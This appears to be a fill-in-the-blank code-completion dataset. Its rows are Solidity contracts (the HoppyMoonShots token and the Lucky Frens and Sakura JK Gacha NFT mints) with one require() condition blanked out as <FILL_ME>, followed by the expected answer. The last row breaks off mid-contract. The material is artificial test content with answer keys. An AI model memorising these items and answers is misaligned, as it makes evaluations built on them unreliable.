uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract HOPPY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HoppyMoonShots";
string private constant _symbol = "HMS";
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public preTrader;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100_000_000_000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _redisFeeOnBuy = 0;
uint256 public _taxFeeOnBuy = 16;
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _burnFeeOnBuy = 0;
uint256 public _redisFeeOnSell = 0;
uint256 public _taxFeeOnSell = 16;
uint256 public _liquidityFeeOnSell = 0;
uint256 public _burnFeeOnSell = 0;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool public swapable = true;
address payable private _developmentAddress = payable(0x6a467c52080E34fCC362fE433ad5aa2D1eFaE41d);
address payable private _marketingAddress = payable(0x6a467c52080E34fCC362fE433ad5aa2D1eFaE41d);
address public constant deadAddress = address(0xdead);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public _maxTxAmount = 3_500_000_000 * 10**18;
uint256 public _maxWalletSize = 3_500_000_000 * 10**18;
uint256 public _swapTokensAtAmount = 500_000_000 * 10**18;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function totalSupply() public pure override returns (uint256) { }
function symbol() public pure returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{ }
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function restoreAllFee() private {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function changeSwap(bool _swapable) external {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function openTrading() public onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualSendETH() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function changeFeeTotal(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell, uint256 liquidityFeeOnBuy, uint256 liquidityFeeOnSell, uint256 burnFeeOnBuy, uint256 burnFeeOnSell) public onlyOwner {
require(<FILL_ME>)
require(redisFeeOnSell + taxFeeOnSell + liquidityFeeOnSell + burnFeeOnSell <= 200, "Sell tax too high. Maximum of 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
_liquidityFeeOnBuy = liquidityFeeOnBuy;
_liquidityFeeOnSell = liquidityFeeOnSell;
_burnFeeOnBuy = burnFeeOnBuy;
_burnFeeOnSell = burnFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function enableSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTransactionAmount(uint256 maxTxAmount,uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| redisFeeOnBuy+taxFeeOnBuy+liquidityFeeOnBuy+burnFeeOnBuy<=200,"Buy tax too high. Maximum of 20%" | 79,102 | redisFeeOnBuy+taxFeeOnBuy+liquidityFeeOnBuy+burnFeeOnBuy<=200 |
"Sell tax too high. Maximum of 20%" | /*
Socials -
Website: https://hoppymoonshots.com/
Twitter: https://twitter.com/hoppymoonshots
Telegram: https://t.me/hoppymoonshots
*/
// SPDX-License-Identifier: NONE
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) { }
modifier onlyOwner() { }
function renounceOwnership() public virtual onlyOwner { }
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract HOPPY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HoppyMoonShots";
string private constant _symbol = "HMS";
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public preTrader;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100_000_000_000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _redisFeeOnBuy = 0;
uint256 public _taxFeeOnBuy = 16;
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _burnFeeOnBuy = 0;
uint256 public _redisFeeOnSell = 0;
uint256 public _taxFeeOnSell = 16;
uint256 public _liquidityFeeOnSell = 0;
uint256 public _burnFeeOnSell = 0;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool public swapable = true;
address payable private _developmentAddress = payable(0x6a467c52080E34fCC362fE433ad5aa2D1eFaE41d);
address payable private _marketingAddress = payable(0x6a467c52080E34fCC362fE433ad5aa2D1eFaE41d);
address public constant deadAddress = address(0xdead);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public _maxTxAmount = 3_500_000_000 * 10**18;
uint256 public _maxWalletSize = 3_500_000_000 * 10**18;
uint256 public _swapTokensAtAmount = 500_000_000 * 10**18;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function totalSupply() public pure override returns (uint256) { }
function symbol() public pure returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{ }
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function restoreAllFee() private {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function changeSwap(bool _swapable) external {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function openTrading() public onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualSendETH() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function changeFeeTotal(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell, uint256 liquidityFeeOnBuy, uint256 liquidityFeeOnSell, uint256 burnFeeOnBuy, uint256 burnFeeOnSell) public onlyOwner {
require(redisFeeOnBuy + taxFeeOnBuy + liquidityFeeOnBuy + burnFeeOnBuy <= 200, "Buy tax too high. Maximum of 20%");
require(<FILL_ME>)
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
_liquidityFeeOnBuy = liquidityFeeOnBuy;
_liquidityFeeOnSell = liquidityFeeOnSell;
_burnFeeOnBuy = burnFeeOnBuy;
_burnFeeOnSell = burnFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function enableSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTransactionAmount(uint256 maxTxAmount,uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| redisFeeOnSell+taxFeeOnSell+liquidityFeeOnSell+burnFeeOnSell<=200,"Sell tax too high. Maximum of 20%" | 79,102 | redisFeeOnSell+taxFeeOnSell+liquidityFeeOnSell+burnFeeOnSell<=200 |
"Cannot set maxTransactionAmount lower than 0.1%" | /*
Socials -
Website: https://hoppymoonshots.com/
Twitter: https://twitter.com/hoppymoonshots
Telegram: https://t.me/hoppymoonshots
*/
// SPDX-License-Identifier: NONE
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) { }
modifier onlyOwner() { }
function renounceOwnership() public virtual onlyOwner { }
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract HOPPY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HoppyMoonShots";
string private constant _symbol = "HMS";
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public preTrader;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100_000_000_000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _redisFeeOnBuy = 0;
uint256 public _taxFeeOnBuy = 16;
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _burnFeeOnBuy = 0;
uint256 public _redisFeeOnSell = 0;
uint256 public _taxFeeOnSell = 16;
uint256 public _liquidityFeeOnSell = 0;
uint256 public _burnFeeOnSell = 0;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool public swapable = true;
address payable private _developmentAddress = payable(0x6a467c52080E34fCC362fE433ad5aa2D1eFaE41d);
address payable private _marketingAddress = payable(0x6a467c52080E34fCC362fE433ad5aa2D1eFaE41d);
address public constant deadAddress = address(0xdead);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public _maxTxAmount = 3_500_000_000 * 10**18;
uint256 public _maxWalletSize = 3_500_000_000 * 10**18;
uint256 public _swapTokensAtAmount = 500_000_000 * 10**18;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function totalSupply() public pure override returns (uint256) { }
function symbol() public pure returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{ }
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function restoreAllFee() private {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function changeSwap(bool _swapable) external {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function openTrading() public onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualSendETH() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function changeFeeTotal(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell, uint256 liquidityFeeOnBuy, uint256 liquidityFeeOnSell, uint256 burnFeeOnBuy, uint256 burnFeeOnSell) public onlyOwner {
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function enableSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTransactionAmount(uint256 maxTxAmount,uint256 maxWalletSize) public onlyOwner {
require(<FILL_ME>)
_maxTxAmount = maxTxAmount;
require(maxWalletSize >= (_tTotal * 5 / 1000), "Cannot set maxWallet lower than 0.5%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| maxTxAmount>=(_tTotal/1000),"Cannot set maxTransactionAmount lower than 0.1%" | 79,102 | maxTxAmount>=(_tTotal/1000) |
"Cannot set maxWallet lower than 0.5%" | /*
Socials -
Website: https://hoppymoonshots.com/
Twitter: https://twitter.com/hoppymoonshots
Telegram: https://t.me/hoppymoonshots
*/
// SPDX-License-Identifier: NONE
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) { }
modifier onlyOwner() { }
function renounceOwnership() public virtual onlyOwner { }
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract HOPPY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HoppyMoonShots";
string private constant _symbol = "HMS";
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public preTrader;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100_000_000_000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _redisFeeOnBuy = 0;
uint256 public _taxFeeOnBuy = 16;
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _burnFeeOnBuy = 0;
uint256 public _redisFeeOnSell = 0;
uint256 public _taxFeeOnSell = 16;
uint256 public _liquidityFeeOnSell = 0;
uint256 public _burnFeeOnSell = 0;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool public swapable = true;
address payable private _developmentAddress = payable(0x6a467c52080E34fCC362fE433ad5aa2D1eFaE41d);
address payable private _marketingAddress = payable(0x6a467c52080E34fCC362fE433ad5aa2D1eFaE41d);
address public constant deadAddress = address(0xdead);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public _maxTxAmount = 3_500_000_000 * 10**18;
uint256 public _maxWalletSize = 3_500_000_000 * 10**18;
uint256 public _swapTokensAtAmount = 500_000_000 * 10**18;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function totalSupply() public pure override returns (uint256) { }
function symbol() public pure returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{ }
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function restoreAllFee() private {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function changeSwap(bool _swapable) external {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function openTrading() public onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualSendETH() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function changeFeeTotal(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell, uint256 liquidityFeeOnBuy, uint256 liquidityFeeOnSell, uint256 burnFeeOnBuy, uint256 burnFeeOnSell) public onlyOwner {
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function enableSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTransactionAmount(uint256 maxTxAmount,uint256 maxWalletSize) public onlyOwner {
require(maxTxAmount >= (_tTotal / 1000), "Cannot set maxTransactionAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
require(<FILL_ME>)
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| maxWalletSize>=(_tTotal*5/1000),"Cannot set maxWallet lower than 0.5%" | 79,102 | maxWalletSize>=(_tTotal*5/1000) |
'All Minted' | pragma solidity ^0.8.4;
contract LuckyFrensNFT is ERC721A, ERC2981, Ownable {
string public baseURI;
uint256 public MAX_SUPPLY = 5888;
uint256 public MAX_WALLET_MINT = 5;
uint256 public MINT_PRICE = 0.02 ether;
constructor(string memory _newBaseURI) ERC721A("Lucky Frens", "LF") {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function setMintPrice (uint256 _mintPrice) external onlyOwner {
}
function setMaxMintPerWallet (uint256 _maxMintNum) external onlyOwner {
}
function mintNFTs(uint256 quantity) public payable {
require(quantity > 0, "Quantity cannot be zero");
require(<FILL_ME>)
if (msg.sender != owner()) {
require(balanceOf(msg.sender) + quantity <= MAX_WALLET_MINT, 'Can only mint 5 NFTs per wallet');
require(msg.value >= MINT_PRICE * quantity, 'Not enough ether');
}
_mint(msg.sender, quantity);
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFees) public onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| _totalMinted()+quantity<=MAX_SUPPLY,'All Minted' | 79,325 | _totalMinted()+quantity<=MAX_SUPPLY |
'Can only mint 5 NFTs per wallet' | pragma solidity ^0.8.4;
contract LuckyFrensNFT is ERC721A, ERC2981, Ownable {
string public baseURI;
uint256 public MAX_SUPPLY = 5888;
uint256 public MAX_WALLET_MINT = 5;
uint256 public MINT_PRICE = 0.02 ether;
constructor(string memory _newBaseURI) ERC721A("Lucky Frens", "LF") {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function setMintPrice (uint256 _mintPrice) external onlyOwner {
}
function setMaxMintPerWallet (uint256 _maxMintNum) external onlyOwner {
}
function mintNFTs(uint256 quantity) public payable {
require(quantity > 0, "Quantity cannot be zero");
require(_totalMinted() + quantity <= MAX_SUPPLY, 'All Minted');
if (msg.sender != owner()) {
require(<FILL_ME>)
require(msg.value >= MINT_PRICE * quantity, 'Not enough ether');
}
_mint(msg.sender, quantity);
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFees) public onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| balanceOf(msg.sender)+quantity<=MAX_WALLET_MINT,'Can only mint 5 NFTs per wallet' | 79,325 | balanceOf(msg.sender)+quantity<=MAX_WALLET_MINT |
"You cannot exceed max supply." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Ownable.sol";
import "ERC721A.sol";
contract SJGContract is ERC721A, Ownable{
using Strings for uint256;
uint256 public MAX_SUPPLY = 366; // Max supply of thie collection
uint256 public MAX_PUB_MINT = 10; // Max pub mint # per wallet
uint256 public PUB_SALE_PRICE = 0.03 ether; // Price for public sale.
uint256 public WL_SALE_PRICE = 0.02 ether; // Price for whitelist sale
string private baseTokenURI; // Base TokenURI
string private prerevealTokenURI; // Pre-reveal TokenURI
bool public isRevealed; // Is the collection revealed?
bool public isPubSale; // Is it in the public sale mode?
bool public isWLSale; // Is it in the white list sale mode?
bool public isPaused; // Is it paused?
mapping(address => uint256) public totalPubMint; // Tracks how many minted per wallet for the public sale
mapping(address => uint256) public whitelist ; // Tracks # if WL mint allowed per address.
// We are only inheriting ERC721A straight.
constructor() ERC721A("Sakura JK Gacha", "SJG"){}
// This modifier make sure that it is not another contract calling this contract.
modifier callerIsUser() {
}
// Returns total number of tokens minted (different from totalSupply() inherited)
function totalMinted() external view returns (uint256){
}
// Mint function for public mint.
// 1. Check not paused
// 2. Check that we are in public sale
// 3&4. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY) or personal max allowed (MAX_PUB_MINT)
// 5. Check if the price is more than publicsale * the desired quantity
function pubMint(uint256 _quantity) external payable callerIsUser{
require(!isPaused, "Minting is paused currently.");
require(isPubSale, "We are not doing public sale now.");
require(<FILL_ME>)
require((totalPubMint[msg.sender] + _quantity) <= MAX_PUB_MINT, "Max public mint per wallet exceeded.");
require(msg.value >= (PUB_SALE_PRICE * _quantity), "More Eth needed.");
// Record the # minted.
totalPubMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
// Mint function for wl mint.
// 1. Check not paused
// 2. Check that we are in WL sale
// 3. Check if the desired quantity exceeds maxsupply (MAX_SUPPLY)
// 4. Check if you have enough whitelist allowance.
// Note that whitelist mint count will be decremented unlike the public sale one.
// 5. Check if the price is more than WL sale * the desired quantity
function wlMint(uint256 _quantity) external payable callerIsUser{
}
// Set whitelist addresses and their allowed mint numbers.
function seedAllowlist(address[] memory addresses, uint256[] memory numSlots) external onlyOwner{
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
// TokenURI Functoin to be called.
